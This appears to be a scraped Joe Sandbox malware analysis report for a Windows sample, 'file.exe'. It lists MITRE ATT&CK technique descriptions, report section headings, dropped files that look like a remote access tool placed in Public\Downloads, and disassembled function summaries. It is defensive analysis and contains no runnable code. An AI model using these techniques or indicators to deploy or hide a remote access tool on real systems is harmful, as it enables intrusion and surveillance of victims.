Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Downloads\HTCTL32.DLL

C:\Users\Public\Downloads\NSM.LIC

C:\Users\Public\Downloads\PCICHEK.DLL

C:\Users\Public\Downloads\PCICL32.DLL

C:\Users\Public\Downloads\TCCTL32.DLL

C:\Users\Public\Downloads\bild.exe

C:\Users\Public\Downloads\client32.ini

C:\Users\Public\Downloads\msvcr100.dll

C:\Users\Public\Downloads\nskbfltr.inf

C:\Users\Public\Downloads\pcicapi.dll

C:\Users\Public\Downloads\remcmdstub.exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\loca[1].htm

Windows Analysis Report
file.exe

Function 001EC131 Relevance: 43.9, APIs: 17, Strings: 8, Instructions: 199
filesleeptimeCOMMON

Function 001E8BD0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 92
memorywindowCOMMON

Function 001DA273 Relevance: 7.6, APIs: 5, Instructions: 108
fileCOMMON

Function 001DF353 Relevance: 77.3, APIs: 22, Strings: 22, Instructions: 314
libraryfileloaderCOMMON

Function 001EAA45 Relevance: 33.7, APIs: 14, Strings: 5, Instructions: 438
windowfileCOMMON

Function 001DCED7 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 207
COMMON

Function 001EB70E Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 96
windowCOMMON

Function 001EB9AA Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 179
COMMON

Function 001DCACC Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 258
COMMON

Function 001F73AE Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Function 001E9036 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35
comCOMMON

Function 001DF9D1 Relevance: 7.5, APIs: 5, Instructions: 44
COMMON

Function 001E8FC8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Function 001EBE0A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre